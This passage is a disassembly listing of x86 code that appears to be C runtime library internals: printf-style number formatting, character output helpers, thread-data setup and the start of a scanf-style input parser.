[ebp+var_274], edx jmp short loc_41F30F ; --------------------------------------------------------------------------- loc_41F2F5: ; CODE XREF: sub_41EA90+848j lea edx, [ebp+arg_8] push edx call sub_41F8D0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_41F30F: ; CODE XREF: sub_41EA90+7E9j ; sub_41EA90:loc_41F2CEj ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_41F357 cmp [ebp+var_274], 0 jg short loc_41F357 jl short loc_41F32D cmp [ebp+var_278], 0 jnb short loc_41F357 loc_41F32D: ; CODE XREF: sub_41EA90+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_41F36F ; --------------------------------------------------------------------------- loc_41F357: ; CODE XREF: sub_41EA90+887j ; sub_41EA90+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_41F36F: ; CODE XREF: sub_41EA90+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_41F397 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_41F397: ; CODE XREF: sub_41EA90+8EAj cmp [ebp+var_234], 0 jge short loc_41F3AC mov [ebp+var_234], 1 jmp short loc_41F3B5 ; --------------------------------------------------------------------------- loc_41F3AC: ; CODE XREF: sub_41EA90+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_41F3B5: ; CODE XREF: sub_41EA90+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_41F3CC mov [ebp+var_10], 0 loc_41F3CC: ; CODE XREF: sub_41EA90+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_41F3D2: ; CODE XREF: sub_41EA90+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_41F3FF mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_41F480 loc_41F3FF: ; CODE XREF: sub_41EA90+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_41A4B0 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_41A440 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_41F467 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_41F467: ; CODE XREF: sub_41EA90+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_41F3D2 ; --------------------------------------------------------------------------- loc_41F480: ; CODE XREF: sub_41EA90+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_41F4C7 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_41F4AF cmp [ebp+var_24], 0 jnz short loc_41F4C7 loc_41F4AF: ; CODE XREF: sub_41EA90+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_41F4C7: ; CODE XREF: sub_41EA90+371j ; sub_41EA90+385j ... cmp [ebp+var_23C], 0 jnz loc_41F6A2 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_41F52D mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_41F4FB mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_41F52D ; --------------------------------------------------------------------------- loc_41F4FB: ; CODE XREF: sub_41EA90+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_41F515 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_41F52D ; --------------------------------------------------------------------------- loc_41F515: ; CODE XREF: sub_41EA90+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_41F52D mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_41F52D: ; CODE XREF: sub_41EA90+A4Cj ; sub_41EA90+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_41F565 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_41F840 add esp, 10h loc_41F565: ; CODE XREF: sub_41EA90+AB7j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_41F880 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_41F5B3 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_41F5B3 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_41F840 add esp, 10h loc_41F5B3: ; CODE XREF: sub_41EA90+AFBj ; sub_41EA90+B05j cmp [ebp+var_1C], 0 jz loc_41F661 cmp [ebp+var_24], 0 jle loc_41F661 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_41F5D9: ; CODE XREF: sub_41EA90+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_41F65F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_427210 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_41F639 jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F639: ; CODE XREF: sub_41EA90+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_41F880 add esp, 10h jmp loc_41F5D9 ; --------------------------------------------------------------------------- loc_41F65F: ; CODE XREF: sub_41EA90+B60j ; sub_41EA90+BA7j jmp short loc_41F67C ; --------------------------------------------------------------------------- loc_41F661: ; CODE XREF: sub_41EA90+B27j ; sub_41EA90+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_41F880 add esp, 10h loc_41F67C: ; CODE XREF: sub_41EA90:loc_41F65Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_41F6A2 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_41F840 add esp, 10h loc_41F6A2: ; CODE XREF: sub_41EA90+ADj ; sub_41EA90+155j ... jmp loc_41EAB4 ; --------------------------------------------------------------------------- loc_41F6A7: ; CODE XREF: sub_41EA90+3Bj ; sub_41EA90+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EA90 endp ; --------------------------------------------------------------------------- off_41F6B4 dd offset loc_41EB50 ; DATA XREF: sub_41EA90+B9r dd offset loc_41EBEA dd offset loc_41EC2C dd offset loc_41EC9B dd offset loc_41ECF3 dd offset loc_41ED02 dd offset loc_41ED4E dd offset loc_41EDE1 off_41F6D4 dd offset loc_41EC78 ; DATA XREF: sub_41EA90+1CCr dd offset loc_41EC83 dd offset loc_41EC6E dd offset loc_41EC63 dd offset loc_41EC8E dd offset loc_41EC96 byte_41F6EC db 0 ; DATA XREF: sub_41EA90+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_41F6FD dd offset loc_41ED90 ; DATA XREF: sub_41EA90+2EEr dd offset loc_41EDC9 dd offset loc_41ED85 dd offset loc_41EDD3 dd offset loc_41EDDC byte_41F711 db 0 ; DATA XREF: sub_41EA90+2E8r dw 404h dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h off_41F740 dd offset loc_41EE1C ; DATA XREF: sub_41EA90+385r dd offset loc_41F0B0 dd offset loc_41EF40 dd offset loc_41F1E9 dd offset loc_41EEAB dd offset loc_41EE31 dd offset loc_41F1BB dd offset loc_41F0C0 dd offset loc_41F065 dd offset loc_41F235 dd offset loc_41F1DF dd offset loc_41EF56 dd offset loc_41F1D3 dd offset loc_41F1F5 dd offset loc_41F4C7 byte_41F77C db 0 ; DATA XREF: sub_41EA90+37Fr db 0Eh, 1, 0Eh dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh) dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7C0 proc near ; CODE XREF: sub_41EA90+F5p ; sub_41EA90+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_41F802 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_41F815 ; --------------------------------------------------------------------------- loc_41F802: ; CODE XREF: sub_41F7C0+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41E810 add esp, 8 mov [ebp+var_4], eax loc_41F815: ; CODE XREF: sub_41F7C0+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41F826 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_41F833 ; --------------------------------------------------------------------------- loc_41F826: ; CODE XREF: sub_41F7C0+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_41F833: ; CODE XREF: sub_41F7C0+64j mov esp, ebp pop ebp retn sub_41F7C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F840 proc near ; CODE XREF: sub_41EA90+ACDp ; sub_41EA90+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_41F843: ; CODE XREF: sub_41F840:loc_41F871j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_41F873 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_41F7C0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_41F871 jmp short loc_41F873 ; --------------------------------------------------------------------------- loc_41F871: ; CODE XREF: sub_41F840+2Dj jmp short loc_41F843 ; --------------------------------------------------------------------------- loc_41F873: ; CODE XREF: sub_41F840+11j ; sub_41F840+2Fj pop ebp retn sub_41F840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F880 proc near ; CODE XREF: sub_41EA90+AEBp ; sub_41EA90+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_41F884: ; CODE XREF: sub_41F880:loc_41F8C4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_41F8C6 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_41F7C0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_41F8C4 jmp short loc_41F8C6 ; --------------------------------------------------------------------------- loc_41F8C4: ; CODE XREF: sub_41F880+40j jmp short loc_41F884 ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F880+12j ; sub_41F880+42j mov esp, ebp pop ebp retn sub_41F880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8D0 proc near ; CODE XREF: sub_41EA90+218p ; sub_41EA90+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_41F8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F8F0 proc near ; CODE XREF: sub_41EA90+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_41F8F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F910 proc near ; CODE XREF: sub_41EA90+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_41F910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F930 proc near ; CODE XREF: sub_41B970:loc_41BA04p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_41BBB0 call ds:dword_494460 mov dword_442F6C, eax cmp dword_442F6C, 0FFFFFFFFh jnz short loc_41F951 xor eax, eax jmp short loc_41F9AE ; --------------------------------------------------------------------------- loc_41F951: ; CODE XREF: sub_41F930+1Bj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_416E40 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41F984 mov eax, [ebp+var_4] push eax mov ecx, dword_442F6C push ecx call ds:dword_49445C test eax, eax jnz short loc_41F988 loc_41F984: ; CODE XREF: sub_41F930+3Dj xor eax, eax jmp short loc_41F9AE ; --------------------------------------------------------------------------- loc_41F988: ; CODE XREF: sub_41F930+52j mov edx, [ebp+var_4] push edx call sub_41F9F0 add esp, 4 call ds:dword_494458 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_41F9AE: ; CODE XREF: sub_41F930+1Fj ; sub_41F930+56j mov esp, ebp pop ebp retn sub_41F930 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41BBF0 cmp dword_442F6C, 0FFFFFFFFh jz short loc_41F9E7 mov eax, dword_442F6C push eax call ds:dword_494464 mov dword_442F6C, 0FFFFFFFFh loc_41F9E7: ; CODE XREF: .text:0041F9CFj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9F0 proc near ; CODE XREF: sub_41F930+5Cp ; sub_41FA10+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_4435D0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_41F9F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FA10 proc near ; CODE XREF: sub_418FF0+3p ; sub_419000+4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call ds:dword_4942F0 mov [ebp+var_8], eax mov eax, dword_442F6C push eax call ds:dword_49446C mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41FA97 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_416E40 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41FA8D mov ecx, [ebp+var_4] push ecx mov edx, dword_442F6C push edx call ds:dword_49445C test eax, eax jz short loc_41FA8D mov eax, [ebp+var_4] push eax call sub_41F9F0 add esp, 4 call ds:dword_494458 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_41FA97 ; --------------------------------------------------------------------------- loc_41FA8D: ; CODE XREF: sub_41FA10+43j ; sub_41FA10+58j push 10h call sub_41BAE0 add esp, 4 loc_41FA97: ; CODE XREF: sub_41FA10+22j ; sub_41FA10+7Bj mov eax, [ebp+var_8] push eax call ds:dword_494468 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41FA10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_442F6C, 0FFFFFFFFh jz loc_41FBB5 cmp dword ptr [ebp+8], 0 jnz short loc_41FAD5 mov eax, dword_442F6C push eax call ds:dword_49446C mov [ebp+8], eax loc_41FAD5: ; CODE XREF: .text:0041FAC4j cmp dword ptr [ebp+8], 0 jz loc_41FBA6 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_41FAF9 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_4174C0 add esp, 8 loc_41FAF9: ; CODE XREF: .text:0041FAE6j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_41FB13 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_4174C0 add esp, 8 loc_41FB13: ; CODE XREF: .text:0041FB00j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_41FB2D push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_4174C0 add esp, 8 loc_41FB2D: ; CODE XREF: .text:0041FB1Aj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_41FB47 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_4174C0 add esp, 8 loc_41FB47: ; CODE XREF: .text:0041FB34j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_41FB61 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_4174C0 add esp, 8 loc_41FB61: ; CODE XREF: .text:0041FB4Ej mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_41FB7B push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_4174C0 add esp, 8 loc_41FB7B: ; CODE XREF: .text:0041FB68j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_4435D0 jz short loc_41FB98 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_4174C0 add esp, 8 loc_41FB98: ; CODE XREF: .text:0041FB85j push 2 mov ecx, [ebp+8] push ecx call sub_4174C0 add esp, 8 loc_41FBA6: ; CODE XREF: .text:0041FAD9j push 0 mov edx, dword_442F6C push edx call ds:dword_49445C loc_41FBB5: ; CODE XREF: .text:0041FABAj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call ds:dword_494458 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call ds:dword_494470 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBE0 proc near ; CODE XREF: sub_4192A0+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_41FBEC: ; CODE XREF: sub_41FBE0+37j cmp [ebp+arg_4], 0 jnz short loc_41FC13 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset aInput_c ; "input.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41FC13 int 3 ; Trap to Debugger loc_41FC13: ; CODE XREF: sub_41FBE0+10j ; sub_41FBE0+30j xor eax, eax test eax, eax jnz short loc_41FBEC loc_41FC19: ; CODE XREF: sub_41FBE0+64j cmp [ebp+arg_0], 0 jnz short loc_41FC40 push offset aStreamNull ; "stream != NULL" push 0 push 10Ch push offset aInput_c ; "input.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41FC40 int 3 ; Trap to Debugger loc_41FC40: ; CODE XREF: sub_41FBE0+3Dj ; sub_41FBE0+5Dj xor ecx, ecx test ecx, ecx jnz short loc_41FC19 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_41FC57: ; CODE XREF: sub_41FBE0:loc_420EC5j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_420ECA cmp dword_442F58, 1 jle short loc_41FC89 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_41E750 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_41FCA5 ; --------------------------------------------------------------------------- loc_41FC89: ; CODE XREF: sub_41FBE0+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_41FCA5: ; CODE XREF: sub_41FBE0+A7j cmp [ebp+var_1F8], 0 jz short loc_41FCF3 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_4210A0 add esp, 8 push eax call sub_421080 add esp, 8 loc_41FCD4: ; CODE XREF: sub_41FBE0+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_427670 add esp, 4 test eax, eax jz short loc_41FCF3 jmp short loc_41FCD4 ; --------------------------------------------------------------------------- loc_41FCF3: ; CODE XREF: sub_41FBE0+CCj ; sub_41FBE0+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_420DAE mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_41FD55: ; CODE XREF: sub_41FBE0:loc_41FEADj movsx eax, [ebp+var_18] test eax, eax jnz loc_41FEB2 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp dword_442F58, 1 jle short loc_41FD99 push 4 mov ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_41E750 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_41FDB6 ; --------------------------------------------------------------------------- loc_41FD99: ; CODE XREF: sub_41FBE0+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_41FDB6: ; CODE XREF: sub_41FBE0+1B7j cmp [ebp+var_1FC], 0 jz short loc_41FDE6 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_41FEAD ; --------------------------------------------------------------------------- loc_41FDE6: ; CODE XREF: sub_41FBE0+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_41FEA5 mov edx, [ebp+var_200] xor ecx, ecx mov cl, ds:byte_420F28[edx] jmp ds:off_420F08[ecx*4] loc_41FE20: ; DATA XREF: .text:00420F0Co jmp loc_41FEAD ; --------------------------------------------------------------------------- loc_41FE25: ; CODE XREF: sub_41FBE0+239j ; DATA XREF: .text:00420F18o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_41FEAD ; --------------------------------------------------------------------------- loc_41FE38: ; CODE XREF: sub_41FBE0+239j ; DATA XREF: .text:00420F10o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_41FE7A mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_41FE7A mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_41FEAD ; --------------------------------------------------------------------------- loc_41FE7A: ; CODE XREF: sub_41FBE0+263j ; sub_41FBE0+270j jmp short loc_41FEA5 ; --------------------------------------------------------------------------- loc_41FE7C: ; CODE XREF: sub_41FBE0+239j ; DATA XREF: .text:00420F14o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_41FEAD ; --------------------------------------------------------------------------- loc_41FE87: ; CODE XREF: sub_41FBE0+239j ; DATA XREF: .text:00420F1Co mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_41FE8F: ; CODE XREF: sub_41FBE0+239j ; DATA XREF: .text:00420F20o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_41FEAD ; --------------------------------------------------------------------------- loc_41FE9A: ; CODE XREF: sub_41FBE0+239j ; DATA XREF: .text:off_420F08o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_41FEAD ; --------------------------------------------------------------------------- loc_41FEA5: ; CODE XREF: sub_41FBE0+225j ; sub_41FBE0+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_41FEAD: ; CODE XREF: sub_41FBE0+201j ; sub_41FBE0:loc_41FE20j ... jmp loc_41FD55 ; --------------------------------------------------------------------------- loc_41FEB2: ; CODE XREF: sub_41FBE0+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_41FED5 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_41FED5: ; CODE XREF: sub_41FBE0+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_41FF0C mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_41FEF9 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz 